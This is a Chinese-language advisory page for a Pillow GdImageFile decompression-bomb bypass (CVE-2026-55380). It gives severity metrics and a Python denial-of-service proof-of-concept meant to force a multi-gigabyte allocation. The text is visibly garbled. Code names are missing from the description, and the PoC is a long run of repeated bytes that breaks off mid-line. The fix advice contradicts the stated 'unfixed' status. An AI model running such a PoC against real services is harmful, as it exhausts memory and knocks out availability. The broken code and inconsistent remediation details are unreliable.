Pillow GdImageFile 解压缩炸弹绕过漏洞(CVE-2026-55380)

漏洞概述 漏洞名称: 图像尺寸接受无 — 1037字节精心制作的 文件触发未检查的 4.3 GB C堆分配（24倍 DecompressionBombError 阈值） 漏洞描述: 中的 从 GD 2.x 文件头读取图像尺寸并存储在 中，未调用 。由于 未注册到 ，它不会通过标准 代码路径执行 Pillow 的解压缩炸弹检查。该插件暴露了自己的入口点 — ，直接实例化该类，完全绕过文档化的保护。 受影响版本: Pillow ≤ 12.2.0 修复版本: None 影响范围 严重性: 高 (7.5 / 10) CVSS v3 基础指标: - 攻击向量: 网络 - 攻击复杂度: 低 - 所需特权: 无 - 用户交互: 无 - 范围: 未改变 - 机密性: 无 - 完整性: 无 - 可用性: 高 CVE ID: CVE-2026-55380 弱点: CWE-789 报告者: x-forwarded-sudo 修复方案 当前状态: 未修复 建议: 升级到 Pillow 12.2.0 以上版本，或手动应用补丁。 POC代码 ```python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file - 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image Build minimal 1037-byte GD 2.x palette-mode header: sig = b"\x89GD" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Pillow GdImageFile 解压缩炸弹绕过漏洞(CVE-2026-55380)

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Pillow GdImageFile 解压缩炸弹绕过漏洞(CVE-2026-55380)

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！